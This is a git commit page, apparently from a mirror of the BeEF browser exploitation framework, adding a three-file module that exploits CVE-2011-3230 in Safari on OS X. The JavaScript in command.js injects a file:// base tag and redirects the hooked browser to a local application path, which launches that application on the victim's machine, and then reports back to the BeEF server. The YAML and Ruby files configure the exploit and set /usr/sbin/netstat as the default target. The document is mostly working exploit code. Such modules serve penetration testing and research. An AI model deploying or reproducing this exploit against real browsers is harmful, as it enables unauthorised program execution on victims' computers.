Hiddenden/beef
2
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

(Fixes issue 547) added module for Safari exploit (CVE-2011-3230)

Browse Source 
git-svn-id: https://beef.googlecode.com/svn/trunk@1373 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
antisnatchor
2011-10-19 18:47:55 +00:00
parent f3cd6aaeb5
commit b6a8205b27
3 changed files with 73 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files

23
modules/exploits/safari_launch_app/command.js Executable file
View File

@@ -0,0 +1,23 @@
//
// Copyright 2011 Wade Alcorn wade@bindshell.net
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
beef.execute(function() {
var baseTag = document.createElement('base');
baseTag.setAttribute('id', 'sla_<%= @command_id %>');
baseTag.setAttribute('href', 'file://');
document.head.appendChild(baseTag);
setTimeout('document.location="<%= @app_path %>";beef.net.send("<%= @command_url %>", <%= @command_id %>, "Command [<%= @app_path %>] launched");', 1000);
setTimeout('document.head.removeChild(document.getElementById("sla_<%= @command_id %>"));beef.net.send("<%= @command_url %>", <%= @command_id %>, "Base tag removed");', 1000);
});

26
modules/exploits/safari_launch_app/config.yaml Executable file
View File

@@ -0,0 +1,26 @@
#
# Copyright 2011 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
beef:
module:
safari_launch_app:
enable: true
category: "Exploits"
name: "Safari Launch App"
description: "Launch an application from the victim machine.<br /><br />The file:// protocol handler will be used<br /><br />Safari <= 5.1 on OS X is vulnerable<br/>Original discovery by Aaron Sigel. Also see CVE-2011-3230"
authors: ["antisnatchor"]
target:
user_notify: ["S"]
not_working: ["All"]

24
modules/exploits/safari_launch_app/module.rb Executable file
View File

@@ -0,0 +1,24 @@
#
# Copyright 2011 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
class Safari_launch_app < BeEF::Core::Command
def self.options
return [
{'name'=>'app_path', 'ui_label' => 'Application Path', 'value' => '/usr/sbin/netstat'},
]
end
end